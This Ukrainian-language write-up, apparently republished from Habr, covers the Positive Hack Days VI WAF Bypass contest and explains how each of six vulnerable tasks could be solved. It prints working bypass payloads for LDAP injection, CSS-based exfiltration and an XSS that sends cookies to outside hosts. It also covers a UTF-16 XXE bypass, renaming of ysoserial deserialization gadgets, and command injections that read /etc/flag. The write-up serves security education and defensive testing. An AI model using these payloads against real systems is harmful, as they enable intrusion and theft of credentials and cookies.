Конкурс WAF Bypass на Positive Hack Days VI

В рамках міжнародного форуму з практичної безпеки Positive Hack Days в черговий раз відбувся конкурс WAF Bypass. Як і раніше, завданням учасників було рішення завдань шляхом обходу перевірок PT Application Firewall, захищав вразливі веб-додатки. Кожне із завдань передбачало закладені нами варіанти обходу, які були можливі через спеціально допущених помилок в конфігурації. Мета кожного завдання — отримати прапор, який міг зберігатися в базі даних, у файловій системі або в Cookie, які видаються спеціальним боту. Опис завдань і способи їх вирішення під катом.



1. m0n0l1th

У цьому завданні учасникам було необхідно провести LDAP-ін'єкцію та отримати пароль адміністратора з LDAP-сховища. Була форму для введення імені користувача, яке безпосередньо потрапляло в запит до LDAP.



Стандартні вектора на зразок
admin)(|(password=*)
блокувалися регулярним виразом, проте обхід був можливий при використанні пробільних символів між операндами в запиті:

admin)(%0a|(password=*)


Далі, для отримання паролю було необхідно застосувати метод підбору для кожного символу:

admin)(%0a|(password=a*)
 
admin)(%0a|(password=a3*)
 
admin)(%0a|(password=a3b*)
 
admin)(%0a|(password=a3b8*)
 
admin)(%0a|(password=a3b8b*)
 
admin)(%0a|(password=a3b8ba*)
 

 
...


2. p0tat0

Відкривши завдання, учасник отримував наступну сторінку:



Частина HTML-коду була при цьому такий:

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"><html><head><title>Caesar was here</title><link rel="stylesheet" href="/index.php/../styles.css"><meta name="flag" content="browser bot flag has ;)"><script src="/index.php/../scripts.js"></script></head>


На що необхідно звернути увагу? В першу чергу, на оголошення перехідного синтаксису HTML в DOCTYPE. Це означає, що буде працювати нестрогий парсинг CSS. Друга особливість — це наявність прапора між тегами link і script і відсутність перекладів рядків.

Здавалося б, атакуючий не може якось вплинути на цю статичну сторінку, однак якщо відправити запит виду /index.php/test, то можна було побачити, що шлях відображається в тегах link і script. При цьому з'являється та ж сторінка замість помилки 404. Це можливо завдяки особливостям роботи веб-сервера Apache (втім, така поведінка є не тільки в нього).

Дуже схоже на XSS, однак будь-які лапки і відкривають теги экранировались. Для вирішення цього завдання необхідно було застосувати інший спосіб, а саме Relative Path Overwrite. RPO експлуатує нестрогий парсинг CSS в браузерах, що дозволяє змусити жертву коректно інтерпретувати ін'єкцію CSS-стилів у HTML-документі. Вбудовані CSS-стилі можуть використовуватися для надсилання персональних даних користувача на сторонній сервер. Сама ін'єкція відбувається через шлях:

/index.php/%250a*%7B%7D%250abody%7Bbackground:red%7D%250a/


При такому запиті браузер довантажити CSS-стиль по шляху:

/index.php/%0a*{}%0abody{background:red}%0a//../styles.css


У відповіді серед HTML-коду браузер побачить валідні CSS-стилі:

< link rel="stylesheet" href="/index.php/
*{}
body{background:red}
/styles.css/../styles.css">


Бойовий експлоїт для даного завдання передбачає використання CSS-властивостей, які дозволять відправити на сторонній сервер прапор, що знаходиться між двома фрагментами тексту під контролем атакуючого. Приклад:

/index.php/')%7D%250a%250a*%7B%7D%250abody%7Bbackground:url('http://test.com/


Однак у завданні ми заборонили ключові слова CSS-властивостей, які дозволяють зробити запит на інший сайт:

  • import
  • content
  • image
  • background
  • font


Але не всі :) Якщо подивитися всі відомі способи, перелічені в проекті HTTP Leaks, а також звернути увагу, що у вихідному коді є список, то можна було виявити, що властивість list-style не блокується:

/index.php/')%7D%250a%250a*%7B%7D%250abody%7Blist-style:url('http://test.com/


Такий запит змусить бота на PhantomJS відправити прапор:



3. d3rr0r1m

За традицією в рамках конкурсу WAF Bypass було завдання на обхід XXE — ін'єкцію зовнішніх сутностей XML. Однак цього разу нікому не вдалося обійти наші перевірки і знайти закладений обхід. Блокувало будь-які варіації ін'єкції — через звичайні зовнішні сутності, параметричні сутності, DOCTYPE та ін. Увагу треба було звернути на обробку XML в різних кодуваннях — якщо закодувати тіло в UTF-16 Big Endian командою
cat x.xml | iconv -f UTF-8 -t UTF-16BE > x16.xml
, при цьому видаливши BOM-мітку, то можна було обійти перевірки і прочитати прапор з файлової системи.



4. f0dn3

В даному завданні учасник отримував доступ до простого ToDo-менеджеру, який вмів зберігати і відновлювати з файлу список справ:



Якщо відкрити цей файл в hex-редакторі, то можна було відразу зрозуміти, що всередині сериализованный Java-об'єкт (за magic-байтам 0xac 0xed на початку).



Десериализация Java-об'єктів, що надходять від користувача, при наявності уразливих бібліотек може призвести до виконання довільних команд на сервері. У CLASSPATH ми спеціально включили commons-collections 4, що дозволяє провести RCE. Однак на боці PT Application Firewall ми заборонили два рядки, які присутні в эксплоитах ysoserial, є популярним інструментом для реалізації даної уразливості. Перший рядок — це власне «ysoserial», а друга — «iTransformers», яка присутня в трьох з п'яти експлойтів ysoserial. Для вирішення завдання необхідно перейменувати класи та імена пакетів, виключивши рядок «ysoserial», при цьому скориставшись одним з експлойтів без рядка «iTransformers».



5. n0ctf

На сторінці завдання був присутній простий ping-сервіс з формою введення IP-адреси. Як же тут не спробувати лапки? І, дійсно, користувальницькі дані безпосередньо потрапляли в виклик системних команд. Незважаючи на те, що більшість способів впровадження команд блокувалися, були можливі наступні варіанти:

8.8.8.8|${IFS}cat /etc/flag
 
-c 1 ya.ru;/*in/cat /etc/flag
 
1.2.3.4|${a cat /etc/flag}




6. c1tyf

Для вирішення цього завдання необхідно було обійти перевірку на Cross-Site Scripting в контексті JavaScript-коду. Алгоритм перевірки був описаний мною і Денисом Колеговым в рамках нашої доповіді "Waf.js: як захищати веб-додатки за допомогою JavaScript", який ми представили на Positive Hack Days VI. Коротко, ми намагаємося підставити користувальницькі дані в різні контексти і розпарсити те, що вийшло як JavaScript-код. Якщо AST-дерево побудоване, і в ньому пристутствуют заборонені ноди, то блокуємо такий запит. Наприклад, найпростіший варіант
"+alert(1)+"
буде заблокований, оскільки після підстановки в контекст з подвійними лапками в AST-дереві з'явиться запрещнный вузол CallExpression. Однак для конкурсу в списку заборонених сайтів відсутній вузол WithStatement, що дозволяло обійти перевірку з допомогою оператора with:

http://c1tyf.waf-bypass.phdays.com/?name=\"};with(window){onload=function(){ with(document){k=cookie;};with(window){location='http://robotsfreedom.com/phdays/?a=test'%2bk;};}}//;


And the winner is...

Переможцем конкурсу в третій раз поспіль став Георгій Носеевич @webpentest), у якості приза йому дістався Air iPad 2. Друге місце зайняв інший постійний учасник конкурсу Іван Новіков d0znpp, він був нагороджений річний ліцензій Burp Suite Pro. Третє ж місце і сувенірна продукція PHDays дісталися Владасу Булавасу (vladvis).

І наостанок трохи пиріжків. В ході конкурсу були заблоковані 31412 запитів.

Розподіл за категоріями атак:





Розподіл по завданнях:





Спасибі призерам і всім, хто брав участь!

Арсеній Реутов (Raz0r), Ігор Канигін (akamajoris), Дмитро Нагібін, Денис Колегов, Микола Ткаченко, Павло Свиридов і PT Application Firewall Team.
Джерело: Хабрахабр

0 коментарів

Тільки зареєстровані та авторизовані користувачі можуть залишати коментарі.